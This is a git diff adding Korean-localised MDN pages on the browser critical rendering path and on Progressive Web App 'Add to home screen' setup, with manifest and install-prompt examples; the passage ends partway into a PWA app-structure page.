+<p>Each visible node has its CSSOM rules applied to it. The render tree holds all the visible nodes with content and computed styles -- matching up all the relevant styles to every visible node in the DOM tree, and determining, based on the <a href="/en-US/docs/Web/CSS/Cascade">CSS cascade</a>, what the computed styles are for each node.</p>
+
+<h3 id="Layout">Layout</h3>
+
+<p>The fourth step in the critical rending path is running layout on the render tree to compute the geometry of each node. <em>Layout</em> is the process by which the width, height, and location of all the nodes in the render tree are determined, plus the determination of the size and position of each object on the page. <em>Reflow</em> is any subsequent size and position determination of any part of the page or the entire document.</p>
+
+<p>Once the render tree is built, layout commences. The render tree identified which nodes are displayed (even if invisible) along with their computed styles, but not the dimensions or location of each node. To determine the exact size and location of each object, the browser starts at the root of the render tree and traverses it.</p>
+
+<p>On the web page, most everything is a box. Different devices and different desktop preferences mean an unlimited number of differing viewport sizes. In this phase, taking the viewport size into consideration, the browser determines what the dimensions of all the different boxes are going to be on the screen. Taking the size of the viewport as its base, layout generally starts with the body, laying out the dimensions of all the body’s descendants, with each element's box model properties, providing placeholder space for replaced elements it doesn’t know the dimensions of, such as our image.</p>
+
+<p>The first time the size and position of nodes are determined is called <em>layout</em>. Subsequent recalculations of node size and locations are called <em>reflows</em>.  In our example, suppose the initial layout occurs before the image is returned. Since we didn't declare the size of our image, there will be a reflow once the image size is known.</p>
+
+<h3 id="Paint">Paint</h3>
+
+<p>The last step in the critical rendering path is painting the individual nodes to the screen, the first occurence of which is called the <a href="/en-US/docs/Glossary/first_meaningful_paint">first meaningful paint</a>. In the painting or rasterization phase, the browser converts each box calculated in the layout phase to actual pixels on the screen. Painting involves drawing every visual part of an element to the screen, including text, colors, borders, shadows, and replaced elements like buttons and images. The browser needs to do this super quickly.</p>
+
+<p>To ensure smooth scrolling and animation, everything occupying the main thread, including calculating styles, along with reflow and paint, must take the browser less than 16.67ms to accomplish. At 2048 X 1536, the iPad has over 3,145,000 pixels to be painted to the screen. That is a lot of pixels that have to be painted very quickly. To ensure repainting can be done even faster than the initial paint, the drawing to the screen is generally broken down into several layers. If this occurs, then compositing is necessary.</p>
+
+<p>Painting can break the elements in the layout tree into layers. Promoting content into layers on the GPU (instead of the main thread on the CPU) improves paint and repaint performance. There are specific properties and elements that instantiate a layer, including <code><a href="/en-US/docs/Web/HTML/Element/video">&lt;video&gt;</a></code> and <code><a href="/en-US/docs/Web/HTML/Element/canvas">&lt;canvas&gt;</a></code>, and any element which has the CSS properties of <a href="/en-US/docs/Web/CSS/opacity"><code>opacity</code></a>, a 3D <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code>, <code><a href="/en-US/docs/Web/CSS/will-change">will-change</a></code>, and a few others. These nodes will be painted onto their own layer, along with their descendants, unless a descendant necessitates its own layer for one (or more) of the above reasons.</p>
+
+<p>Layers do improve performance, but are expensive when it comes to memory management, so should not be overused as part of web performance optimization strategies.</p>
+
+<h3 id="Compositing">Compositing</h3>
+
+<p>When sections of the document are drawn in different layers, overlapping each other, compositing is necessary to ensure they are drawn to the screen in the right order and the content is rendered correctly.</p>
+
+<p>As the page continues to load assets, reflows can happen (recall our example image that arrived late).  A reflow sparks a repaint and a re-composite. Had we defined the size of our image, no reflow would have been necessary, and only the layer that needed to be repainted would be repainted, and composited if necessary. But we didn't include the image size! When the image is obtained from the server, the rendering process goes back to the layout steps and restarts from there.</p>
+
+<h2 id="상호운용성">상호운용성</h2>
+
+<p>Once the main thread is done painting the page, you would think we would be "all set." That isn't necessarily the case. If the load includes JavaScript, that was correctly deferred, and only executed after the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onload">onload</a></code> event fires, the main thread might be busy, and not available for scrolling, touch, and other interactions.</p>
+
+<p>{{glossary('Time to Interactive')}} (TTI) is the measurement of how long it took from that first request which led to the DNS lookup and SSL connection to when the page is interactive -- interactive being the point in time after the {{glossary('First Contentful Paint')}} when the page responds to user interactions within 50ms. If the main thread is occupied parsing, compiling, and executing JavaScript, it is not available and therefore not able to responsd to user interactions in a timely (less than 50ms) fashion.</p>
+
+<p>In our example, maybe the image loaded quickly, but perhaps the <code>anotherscript.js</code> file was 2MB and our user's network connection was slow.  In this case the user would see the page super quickly, but wouldn't be able to scroll without jank until the script was downloaded, parsed and executed. That is not a good user experience. Avoid occupying the main thread, as demonstrated in this WebPageTest example:</p>
+
+<p><img alt="The main thread is occupied by the downloading, parsing and execution of a javascript file - over a fast connection" src="https://mdn.mozillademos.org/files/16760/visa_network.png" style="height: 699px; width: 1200px;"></p>
+
+<p>In this example, the DOM content load process took over 1.5 seconds, and the main thread was fully occupied that entire time, unresponsive to click events or screen taps.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Performance">Web Performance</a></li>
+</ul>
diff --git a/files/ko/web/performance/중요_렌더링_경로/index.html b/files/ko/web/performance/중요_렌더링_경로/index.html
new file mode 100644
index 0000000000..0dd28ed81c
--- /dev/null
+++ b/files/ko/web/performance/중요_렌더링_경로/index.html
@@ -0,0 +1,60 @@
+---
+title: 중요 렌더링 경로
+slug: Web/Performance/중요_렌더링_경로
+translation_of: Web/Performance/Critical_rendering_path
+---
+<p>{{draft}}</p>
+
+<p>중요 렌더링 경로 (<em>Critical Rendering Path</em>)는 브라우저가 HTML, CSS, Javascipt를 화면에 픽셀로 변화하는 일련의 단계를 말하며 이를 최적화하는 것은 렌더링 성능을 향상시킵니다. 중요 렌더링 경로는 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model">Document Object Model </a>(DOM), <a href="https://developer.mozilla.org/en-US/docs/Web/API/CSS_Object_Model">CSS Object Model </a>(CSSOM), 렌더 트리 그리고 레이아웃을 포함합니다.</p>
+
+<p>도큐먼트 오브젝트 모델은 HTML을 분석함으로써 만들어집니다. HTML은 Javascript를 요청할 수 있으며, 이 경우 DOM 이 변경될 수 있습니다. HTML은 차례대로 CSS 오브젝트 모델을 만들기 위한 스타일에 대한 요청을 만들거나 포함합니다. 브라우저 엔진은 이 두가지를 결합하여 렌더 트리를 생성하며 레이아웃은 페이지의 모든 것에 대한 크기와 위치를 결정합니다. 일단 레이아웃이 결정되면 화면에 픽셀을 그립니다.</p>
+
+<p>중요 렌더링 경로 최적화는 첫번째 렌더링의 시간을 개선시킵니다. 중요 렌더링 경로를 이해하고, 최적화 하는 것은 뛰어난 사용자 상호작용을 보장하며 버벅거림을 피할 수 있도록 하고, 1초당 60 프레임에 리플로우와 리페인트가 발생할 수 있도록 하는데 중요합니다.</p>
+
+<h2 id="CRP_이해하기">CRP 이해하기</h2>
+
+<p>웹 성능은 서버의 요청과 응답, 로딩, 스크립팅, 렌더링, 레이아웃 그리고 화면에 픽셀 그리기를 포함합니다.</p>
+
+<p>웹 페이지 또는 어플리케이션에 대한 요청은 HTML 요청으로 시작됩니다. 서버는 응답 헤더 또는 데이터로 HTML을 반환합니다. 그리고 나서 브라우저는 HTML을 분석하고 수신된 바이츠를 DOM 트리로 변환하기 시작합니다. 브라우저는 스타일시트, 스크립트 또는 포함된 이미지 참조인 외부 자원에 대한 링크를 찾을때마다 요청을 시작합니다. 불러온 에셋을 다룰 때까지 나머지 HTML을 분석하는 작업하는 일부 요청은 중단되며 차단됩니다. 브라우저는 CSS 오브젝트 모델을 구축하는 작업이 끝날때까지 요청을 만들고 DOM을 생성하는 HTML을 계속해서 분석합니다. DOM과 CSSOM이 완료되면 브라우저는 렌더 트리를 생성하고 보여지는 컨텐츠를 위해 스타일을 계산합니다. 렌더트리가 완료된 후 모든 렌더 트리 요소들에 대한 위치와 크기가 정의된 레이아웃이 만들어집니다. 일단 완료되면 레이지는 렌더링되거나 또는 화면에 '그려집니다(<em>painted</em>)'.</p>
+
+<h3 id="Document_Object_Model">Document Object Model</h3>
+
+<p>DOM 구성은 점진적으로 증가합니다. HTML 응답은 토큰으로, 토큰은 노드로, 노드는 DOM 트리로 변환됩니다.1개의 DOM 노드는 시작태그 토큰으로 시작해서 끝태그 토큰으로 끝납니다. 노드들은 HTML 요소에 대한 모두 연관성 있는 정보를 포함하고 있습니다. 그 정보는 토큰을 통해 설명됩니다. 노드들은 토큰의 위계서열을 기반으로 DOM 트리안에 연결됩니다. 만약 또 다른 시작태그와 끝태그의 묶음이 한 세트의 시작태그와 끝태그 사이에 있다면, 여러분은 DOM 트리의 위계서열을 정의하는 방법으로 노드 안에 노드를 가지게 됩니다.</p>
+
+<p>많은 수의 노드는 중요 렌더링 경로에서 다음의 이벤트를 더 오래 발생시킬 것입니다. 측정하세요! 몇 개의 추가 노드는 차이를 만들지 않지만 전염은 버벅거림을 유발할 수 있습니다.</p>
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+<h3 id="CSS_Object_Model">CSS Object Model</h3>
+
+<p>DOM은 페이지의 모든 컨텐츠를 포함하고, CSSOM은 DOM을 스타일링 하기 위한 페이지의 모든 스타일 정보를 포함합니다. CSSOM은 DOM과 유사하지만 다릅니다. DOM의 구조는 점진적으로 증가하는 반면에 CSSOM은 그렇지 않습니다. CSS는 렌더링을 막습니다: 브라우저는 모든 CSS를 처리하고 수신할때까지 페이지 렌더링을 막습니다. CSS는 규칙을 덮어쓸수 있기 때문에 렌더링을 막습니다. 그러므로 CSSOM이 완료될때까지 콘텐츠를 렌더링 할 수 없습니다.</p>
+
+<p>CSS는 유효한 토크들은 인식하기 위해 스스로 규칙 세트를 가지고 있습니다. CSS의 C가 'Cascade(종속 또는 폭포)'라는 의미를 기억해두세요. CSS 규칙은 아래로 종속됩니다. 분석기는 토큰을 노드로 변환할때, 하위 노드가 스타일을 상속합니다. 연속적인 규칙들이 이전의 규칙들에 덮어쓰여질 수 있기 때문에, 증감 처리 기술은 HTML 처럼 CSS에 적용되지는 않습니다. CSS 개체 모델은 CSS를 분석할 때 빌드되지만 나중에 분석되 덮어쓸 스타일들은 화면에 렌더링 할 수 없기 때문에 완전히 분석될 때까지 렌더 트리를 생성하는데 사용할 수 없습니다.</p>
+
+<p>선택자 성능 측면에서, 덜 구체적인 선택자는 더 구체적인 선택자보다 더 빠릅니다. 예를 들어, 브라우저가 <code>.foo</code> 찾을때, <code>.foo {}</code> 는 <code>.bar .foo {}</code> 보다 빠릅니다. 왜냐하면 두번째 시나리오에서, <code>.foo</code> 가 부모 객체인 <code>.bar</code> 를 가지고 있는지 확인하기 위해 DOM을 거슬러 올라가기 때문입니다. 더 구체적인 태그는 브라우저에게 더 많은 작업을 요구하지만 이러한 패널티는 최적화 할 가치가 없습니다.</p>
+
+<p>만약 CSS 분석 시간을 측정한다면, 브라우저들이 정말 빠르다는 것에 놀랄 것입니다. 규칙이 구체적일수록 DOM 트리 안에서 더 많은 노드들은 지나야 하기 때문에 더 높은 비용이 듭니다. 그러나 추가적인 비용은 일반적으로 최소입니다. 첫번째는 측정입니다. 필요할때 최적화하세요. 특정 짓는 것은 쉬운 일이 아닙니다. CSS 측면에서, 선택자 성능 최적화와 개선은 오직 microsecond 밖에 되지 않될 것입니다. 축소화와 미디어 쿼리를 사용함으로써 지연된 CSS를 논-블로킹 요청으로 분리하는 것과 같은 <a href="https://developer.mozilla.org/en-US/docs/Learn/Performance/CSS_performance">CSS 최적화</a>를 위한 다른 방법이 있습니다.</p>
+
+<h3 id="Render_Tree">Render Tree</h3>
+
+<p>렌터 트리는 콘텐츠와 스타일 둘다 캡쳐합니다. DOM과 CSSOM 트리는 렌더 트리에 결합됩니다. 렌더 트리를 구성하기 위해 브라우저는 DOM 트리의 root에서 시작해 모든 노드는 확인하면서 어떤 CSS 규칙들을 첨부할지 결정합니다.</p>
+
+<p>렌더 트리는 오직 보여지는 콘텐츠만은 캡쳐합니다. (일반적으로) 헤드 섹션은 보여지는 정보를 포함하고 있지 않으므로 렌더트리 안에 포함되지 않습니다. 만약 요소에 <code>display: none</code> 이 적용되어 있다면, 해당 요소 또는 하위 요소는 포함되지 않습니다.</p>
+
+<h3 id="Layout">Layout</h3>
+
+<p>일단 렌더 트리가 생성되고 나면, 레이아웃은 가능해지며 화면의 크기에 의존합니다. 레이아웃 단계는 요소들이 페이지에서 배치되는 위치와 방법, 각 요소의 너비와 높이 그리고 서로 관련된 위치를 결정합니다.</p>
+
+<p>요소의 너비는 무엇일까요? 정의에 따르면, 블럭 수준의 요소들은 그 부모 너비의 기본 너비값의 100% 입니다. 50%의 너비를 갖는 요소는 부모 요소의 절반일 것입니다. 비록 그렇게 정의되어 있지 않더라고, <code>body</code> 는 뷰포트 너비의 100%를 의미하는 너비 입니다. 디바이스의 너비는 레이아웃에 영향을 미칩니다.</p>
+
+<p>뷰포트 메타 태그는 레이아웃에 영향을 미치는 뷰포트 레이아웃의 너비로 정의합니다. 이 태그 없다면, 브라우저는 뷰포트 기본값을 사용합니다. 브라우저의 full screen 기본값은 일반적으로 960px 입니다. 기본적으로 브라우저의 full screen에서, 스마트폰의 브라우저와 같은 너비는 <code>&lt;meta name="Viewport" content="width=device-witdh"&gt;</code> 로 세팅함으로써 기본 뷰포트 너비 대신에 디바이스의 너비를 사용합니다. 디바이스 너비는 사용자가 디비이스를 가로(landscapre) 또는 세로(portrait) 모드 사이로 돌릴때마다 바뀝니다. 레이아웃은 디바이스가 회전하거나 브라우저의 사이즈가 조정될 때마다 발생합니다.</p>
+
+<p>레이아웃 성능은 DOM의 영향을 받습니다. 노드의 수가 많을수록 레이아웃은 더 길어지며 스크롤링 또는 다른 애니메이션들이 필요하다면 레이아웃에 쟁크(jank)를 일으키는 병목현상이 발생할 수 있습니다. 로딩 또는 방향 전환에 20ms 정도 밀릴 수 있지만 애니메이션 또는 스크롤에 쟁크(jank) 유발할 수 있습니다. 노드에 박스 모델 업데이트, 콘텐츠 대체 그리고 노드 추가와 같은 수정은 언제든지 렌더 트리를 수정할 수 있으며 레이아웃을 형성합니다.</p>
+
+<p>레이아웃 이벤트의 반복과 형성시간을 줄이기 위해서 일괄 업데이트 해야하고, 박스 모델 속성을 애니메이션화 하지 말아야 합니다.</p>
+
+<h3 id="Paint">Paint</h3>
+
+<p>마자믹 단계는 화면에 픽셀을 그리는 것입니다. 일단 렌더 트리가 생성되고 레이아웃나 나타나기 시작하면, 화면에 픽셀을 그릴수 있습니다. 로드시, 전체 화면을 그립니다. 그 후에는 브라우저가 필요한 최소 영역만을 다시 그리도록 최적화되어 있기 때문에 영향을 받는 영역만을 화면에 다시 그립니다. 그리는 시간은 렌터 트리에 적용되는 업데이트의 종류가 무엇있냐에 따라 달라집니다. 페인팅인 매우 빠르게 진행되는 과정이기 때문에 성능 향상에 집중해야 하는 가장 큰 영향있는 부분이 아닐 수 있지만, 애니메이션 프레임 소요시간을 측정할때, 레이아웃과 리페인트 시간을 모두 고려하는 것이 중요합니다. 각 노드에 적용된 스타일은 페인트 시간을 증가시키지만 페인트 시간을 0.001ms 증가시키는 스타일을 제거하는 것은 여러분의 최적화 비용이 매우 커지는 것을 막지 못할 수 있습니다. 첫째는 측정하는 것을 기억하고, 최적화 우선순위를 정해야할지 말지를 결정해야 합니다.</p>
+
+<h2 id="Optimizing_for_CRP">Optimizing for CRP</h2>
+
+<p>자원 로드 순서를 관리하고, 파일 사이즈를 줄이며 어떤 자원을 먼저 로드할지 정함으로써 페이지 로드 속도를 개선하세요. 성능 팁으로는 1) 자원 다운로드를 연기함으로써 중요 자원들의 수를 최소화하기 , 2) 각 요청에 대한 파일 사이즈에 따라 필수적인 요청 횟수 최적하하기, 3) 다운받을 중요 에셋의 우선순위를 정함으로써 중요 자원 불러오는 순서 최적화하고, 중요 경로 길이 최소화하기</p>
diff --git a/files/ko/web/progressive_web_apps/add_to_home_screen/index.html b/files/ko/web/progressive_web_apps/add_to_home_screen/index.html
new file mode 100644
index 0000000000..e3c6e738d5
--- /dev/null
+++ b/files/ko/web/progressive_web_apps/add_to_home_screen/index.html
@@ -0,0 +1,218 @@
+---
+title: Add to home screen
+slug: Web/Progressive_web_apps/Add_to_home_screen
+tags:
+ - Manifest
+ - PWA
+ - Service Worker
+ - 아이콘
+ - 프로그레시브 웹 앱
+ - 홈 화면에 추가
+translation_of: Web/Progressive_web_apps/Add_to_home_screen
+---
+<p class="summary">Add to Home screen (or A2HS for short) is a feature available in modern smartphone browsers that allows developers to easily and conveniently add a shortcut to their Home screen representing their favorite web app (or site) so they can subsequently access it with a single tap. This guide explains how A2HS is used, and what you need to do as a developer to allow your users to take advantage of it.</p>
+
+<h2 id="Why_A2HS">Why A2HS?</h2>
+
+<p>A2HS is thought to be part of the <a href="/en-US/docs/Web/Progressive_web_apps">Progressive Web App</a> philosophy — giving web apps the same user experience advantages as native apps so they can compete in today's ecosystem wars. Part of this is the simple gesture of accessing an app by tapping its icon on your Home screen, and then having it appear neatly in its own window. A2HS makes this possible.</p>
+
+<h2 id="What_browsers_support_A2HS">What browsers support A2HS?</h2>
+
+<p>A2HS is supported by Mobile Chrome/Android Webview since version 31, Opera for Android since version 32, and Firefox for Android since <a href="/en-US/docs/Mozilla/Firefox/Releases/58">version 58</a>.</p>
+
+<h2 id="How_do_you_use_it">How do you use it?</h2>
+
+<p>We've written a very simple example web site (<a href="https://mdn.github.io/pwa-examples/a2hs/">see our demo live</a>, and also <a href="https://github.com/mdn/pwa-examples/tree/master/a2hs">see the source code</a>) that doesn't do much, but was developed with the necessary code to allow it to be added to a Home screen, as well as a service worker to enable it to be used offline. The example displays a series of fox pictures.</p>
+
+<p>If you have Firefox for Android available, use it to navigate to our demo at <code>https://mdn.github.io/pwa-examples/a2hs/</code>. You'll see fox pictures, but more important, you'll see a "home" icon with a plus (+) icon inside it — this is the "Add to Home screen" icon displayed for any site that has the necessary features in place.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15762/add-to-home-screen-icon.png" style="border-style: solid; border-width: 1px; display: block; height: 64px; margin: 0px auto; width: 500px;"></p>
+
+<p>Tapping this will show a confirmation banner — pressing the big + <em>ADD TO HOME SCREEN</em> button completes the action, adding the app to the Home screen. (Note: In Android 8 and higher, a system-level "Add to Home screen" permission dialog will be shown first.)</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15772/fx-a2hs-banner.png" style="border-style: solid; border-width: 1px; display: block; height: 421px; margin: 0px auto; width: 700px;"></p>
+
+<p>If you have Mobile Chrome available, the experience is slightly different; upon loading our site, you'll see an install banner pop up asking whether you want to add this app to your Home screen.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15771/chrome-a2hs-banner.png" style="border-style: solid; border-width: 1px; display: block; height: 421px; margin: 0px auto; width: 700px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: You can find out a lot more about Chrome install banners from the article <a href="https://developers.google.com/web/fundamentals/app-install-banners/">Web App Install Banners</a>.</p>
+</div>
+
+<p>If you choose not to add it to your Home screen at this point, you can do so later using the <em>Add to Home screen</em> icon in the main Chrome menu.</p>
+
+<p>Regardless of which browser you are using, when you choose to add the app to your Home screen, you'll see it appear along with a short title, in the same way that native apps do.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15770/a2hs-on-home-screen.png" style="border-style: solid; border-width: 1px; display: block; height: 243px; margin: 0px auto; width: 400px;"></p>
+
+<p>Tapping this icon opens it up, but as a fullscreen app, you'll no longer see the browser UI around it.</p>
+
+<h2 id="How_do_you_make_an_app_A2HS-ready">How do you make an app A2HS-ready?</h2>
+
+<p>To enable your app to be added to a Home screen, it needs the following:</p>
+
+<ul>
+ <li>To be served over HTTPs — the web is increasingly being moved in a more secure direction, and many modern web technologies (A2HS included) will work only on secure contexts.</li>
+ <li>To have a manifest file with the correct fields filled in, linked from the HTML head.</li>
+ <li>To have an appropriate icon available for displaying on the Home screen.</li>
+ <li>Chrome additionally requires the app to have a service worker registered (e.g., so it can function when offline).</li>
+</ul>
+
+<h3 id="Manifest">Manifest</h3>
+
+<p>The web manifest is written in standard JSON format and should be placed somewhere inside your app directory (in the root is probably best) with the name <code><em>somefilename</em>.webmanifest</code> (we've chosen <code>manifest.webmanifest</code>). It contains multiple fields that define certain information about the web app and how it should behave.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The <code>.webmanifest</code> extension is specified in the <a href="https://w3c.github.io/manifest/#media-type-registration">Media type registration</a> section of the specification, but generally browsers will support manifests with other appropriate extensions, e.g. <code>.json</code>.</p>
+</div>
+
+<p>The fields needed for A2HS are as follows:</p>
+
+<ul>
+ <li><code>background_color</code>: Specifies a background color to be used in some app contexts. The most relevant one to A2HS is the splash screen displayed when the app icon on the Home screen is tapped and it first starts to load (this currently appears only when apps have been added to the Home screen by Chrome).</li>
+ <li><code>display</code>: Specifies how the app should be displayed. To make it feel like a distinct app (and not just a web page), you should choose a value such as <code>fullscreen</code> (no UI is shown at all) or <code>standalone</code> (very similar, but system-level UI elements such as the status bar might be visible).</li>
+ <li><code>icons</code>: Specifies icons for the browser to use when representing the app in different places (such as on the task switcher, or more important, the Home screen). We've included only one in our demo.</li>
+ <li><code>name</code>/<code>short_name</code>: These fields provide an app name to be displayed when representing the app in different places. <code>name</code> provides the full app name, and <code>short_name</code> provides a shortened name to be used when there is insufficient space to display the full name. You are advised to provide both if your app's name is particularly long.</li>
+ <li><code>start_url</code>: Provides a path to the asset that should be loaded when the added-to-Home screen app is launched. Note that this has to be a relative URL pointing to the site index, relative to the url of the manifest. Also, be aware that Chrome requires this before it will display the install banner, whereas Firefox doesn't require it for showing the home-with-a-plus icon.</li>
+</ul>
+
+<p>The manifest for our sample app looks like this:</p>
+
+<pre class="brush: js">{
+ "background_color": "purple",
+ "description": "Shows random fox pictures. Hey, at least it isn't cats.",
+ "display": "fullscreen",
+ "icons": [
+ {
+ "src": "icon/fox-icon.png",
+ "sizes": "192x192",
+ "type": "image/png"
+ }
+ ],
+ "name": "Awesome fox pictures",
+ "short_name": "Foxes",
+ "start_url": "/pwa-examples/a2hs/index.html"
+}</pre>
+
+<h3 id="Appropriate_icon">Appropriate icon</h3>
+
+<p>As shown in the above manifest listing, we are including a 192 x 192 px icon for use in our app. You can include more sizes if you want; Android will choose the most appropriate size for each different use case. You could also decide to include different types of icons so devices can use the best one they are able to (e.g., Chrome already supports the WebP format).</p>
+
+<p>Note that the <code>type</code> member in each icon's object specifies the icon's mimetype, so the browser can quickly read what type the icon is, and then ignore it and move to a different icon if it doesn't support it.</p>
+
+<p>In terms of how to design the icon, you should follow the same best practices you'd follow for any Android icon (see the <a href="https://developer.android.com/guide/practices/ui_guidelines/icon_design.html">Android icon design guidelines</a>).</p>
+
+<h3 id="Link_the_HTML_to_the_manifest">Link the HTML to the manifest</h3>
+
+<p>To finish setting up your manifest, you need to reference it from the HTML of your application's home page:</p>
+
+<pre class="brush: html">&lt;<span class="pl-ent">link</span> <span class="pl-e">rel</span>=<span class="pl-s"><span class="pl-pds">"</span>manifest<span class="pl-pds">"</span></span> <span class="pl-e">href</span>=<span class="pl-s"><span class="pl-pds">"</span>manifest.webmanifest<span class="pl-pds">"</span></span>&gt;</pre>
+
+<p>Browsers that support A2HS will know where to look for your manifest once this is in place.</p>
+
+<h2 id="What_does_A2HS_not_give_you">What does A2HS not give you?</h2>
+
+<p>Bear in mind that when you add an app to your Home screen, it just makes the app easily accessible — it doesn't download the app's assets and data to your device and make the app available offline, or anything like that. To make your app work offline, you have to use the <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a> to handle storing the assets offline, and if required, <a href="/en-US/docs/Web/API/Web_Storage_API">Web storage</a> or <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> to store its data.</p>
+
+<p>In our example app, we've just used a service worker to store all necessary files. The service worker is registered against the site with the final code block in the <code><a href="https://github.com/mdn/pwa-examples/blob/master/a2hs/index.js">index.js</a></code> file. We then cache all the site's assets using the <a href="/en-US/docs/Web/API/Cache">Cache API</a>, and serve them from the cache instead of the network using the code in the <a href="https://github.com/mdn/pwa-examples/blob/master/a2hs/sw.js">sw.js</a> file.</p>
+
+<h2 id="A2HS_on_desktop">A2HS on desktop</h2>
+
+<p>While originally intended to improve user experience on mobile OSes, there is movement to make PWAs installable on desktop platforms too.</p>
+
+<div class="note">
+<p><strong>Note</strong>: At the time of writing, the functionality described below was only supported in newer versions of Chrome — by default on Windows, and behind the <code>#enable-desktop-pwas</code> flag on macOS.</p>
+</div>
+
+<h3 id="Adding_an_install_button">Adding an install button</h3>
+
+<p>To make our PWA installable on desktop, we first added a button to our document to allow users to do the installation — this isn't made available automatically on desktop apps, and the installation needs to be triggered by a user gesture:</p>
+
+<pre class="brush: html">&lt;button class="add-button"&gt;Add to home screen&lt;/button&gt;</pre>
+
+<p>We then gave it some simple styling:</p>
+
+<pre class="brush: css">.add-button {
+ position: absolute;
+ top: 1px;
+ left: 1px;
+}</pre>
+
+<h3 id="JavaScript_for_handling_the_install">JavaScript for handling the install</h3>
+
+<p>At the bottom of our <a href="https://github.com/mdn/pwa-examples/blob/master/a2hs/index.js"><code>index.js</code> file</a>, we added some JavaScript to handle the installation. First of all, we declare a <code>deferredPrompt</code> variable (which we'll explain later on), get a reference to our install button, and set it to <code>display: none</code> initially:</p>
+
+<pre class="brush: js">let deferredPrompt;
+const addBtn = document.querySelector('.add-button');
+addBtn.style.display = 'none';</pre>
+
+<p>We hide the button initially because the PWA will not be available for install until it follows the A2HS criteria. When this happens, supporting browsers will fire a <code>beforeinstallprompt</code> event. We can then use a handler like the one below to handle the installation:</p>
+
+<pre class="brush: js">window.addEventListener('beforeinstallprompt', (e) =&gt; {
+ // Prevent Chrome 67 and earlier from automatically showing the prompt
+ e.preventDefault();
+ // Stash the event so it can be triggered later.
+ deferredPrompt = e;
+ // Update UI to notify the user they can add to home screen
+ addBtn.style.display = 'block';
+
+ addBtn.addEventListener('click', (e) =&gt; {
+ // hide our user interface that shows our A2HS button
+ addBtn.style.display = 'none';
+ // Show the prompt
+ deferredPrompt.prompt();
+ // Wait for the user to respond to the prompt
+ deferredPrompt.userChoice.then((choiceResult) =&gt; {
+ if (choiceResult.outcome === 'accepted') {
+ console.log('User accepted the A2HS prompt');
+ } else {
+ console.log('User dismissed the A2HS prompt');
+ }
+ deferredPrompt = null;
+ });
+ });
+});</pre>
+
+<p>So here we:</p>
+
+<ul>
+ <li>Call {{domxref("Event.preventDefault()")}} to stop Chrome 67 and earlier from calling the install prompt automatically (this behavior changed in Chrome 68).</li>
+ <li>Store the event object in the <code>deferredPrompt</code> variable so it can be used later on to perform the actual installation.</li>
+ <li>Set the button to <code>display: block</code> so it appears in the UI for the user to click.</li>
+ <li>Set a <code>click</code> handler for the button.</li>
+</ul>
+
+<p>The click handler contains the following steps:</p>
+
+<ul>
+ <li>Hide the button again with <code>display: none</code> — it is no longer needed once the app is installed.</li>
+ <li>Use the <code>prompt()</code> method available on the <code>beforeinstallprompt</code> event object (stored in <code>deferredPrompt</code>) to trigger showing the install prompt.</li>
+ <li>Respond to the user's interaction with the prompt using the <code>userChoice</code> property, again available on the <code>beforeinstallprompt</code> event object.</li>
+ <li>Set <code>deferredPrompt</code> to null since it is no longer needed.</li>
+</ul>
+
+<p>So when the button is clicked, the install prompt appears.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16281/chrome-desktop-a2hs-banner.png" style="border-style: solid; border-width: 1px; display: block; height: 163px; margin: 0px auto; width: 300px;"></p>
+
+<p>If the user selects <em>Install</em>, the app is installed (available as standalone desktop app), and the Install button no longer shows (the <code>onbeforeinstallprompt</code> event no longer fires if the app is already installed). When you open the app, it will appear in its own window:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16280/a2hs-installed-desktop.png" style="border-style: solid; border-width: 1px; display: block; height: 296px; margin: 0px auto; width: 500px;"></p>
+
+<p>If the user selects <em>Cancel</em>, the state of the app goes back to how it was before the button was clicked.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The code for this section was mostly taken from <a href="https://developers.google.com/web/fundamentals/app-install-banners/">App install banners/Add to Home Screen</a> by Pete LaPage.</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Progressive_web_apps">Progressive web apps</a></li>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+ <li><a href="/en-US/docs/Web/Manifest">Web manifest reference</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/app-install-banners/">App install banners</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}</div>
diff --git a/files/ko/web/progressive_web_apps/app_structure/index.html b/files/ko/web/progressive_web_apps/app_structure/index.html
new file mode 100644
index 0000000000..b50a62e724
--- /dev/null
+++ b/files/ko/web/progressive_web_apps/app_structure/index.html
@@ -0,0 +1,283 @@
+---
+title: 프로그레시브 웹 앱 구조
+slug: Web/Progressive_web_apps/App_structure
+tags:
+ - App shell
+ - PWA
+ - Service Workers
+ - Streams
+ - js13kGames
+ - 구조
+ - 프로그레시브
+ - 프로그레시브 웹 앱
+translation_of: Web/Progressive_web_apps/App_structure
+---
+<div>{{PreviousMenuNext("Web/Apps/Progressive/Introduction", "Web/Apps/Progressive/Offline_Service_workers", "Web/Apps/Progressive")}}</div>
+
+<p class="summary">이제 우리는 PWA의 원리에 대해 알고 있습니다. 실제 앱의 권장 구조에 대해 살펴봅시다. 우리는 <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> 어플리케이션을 왜 그렇게 구축하였는지, 그리고 무슨 이점이 있는지 분석하는 것으로 시작할 것입니다.</p>
+
+<h2 id="앱의_구조">앱의 구조</h2>
+
+<p>웹 사이트를 렌더링하는 것에는 서버 사이드와 클라이언트 사이드라는 두 가지 다른 접근법이 있습니다. 이 둘 모두 장점과 단점을 갖고 있으며, 여러분은 이 두 접근법을 적절히 혼합할 수 있습니다.</p>
+
+<ul>
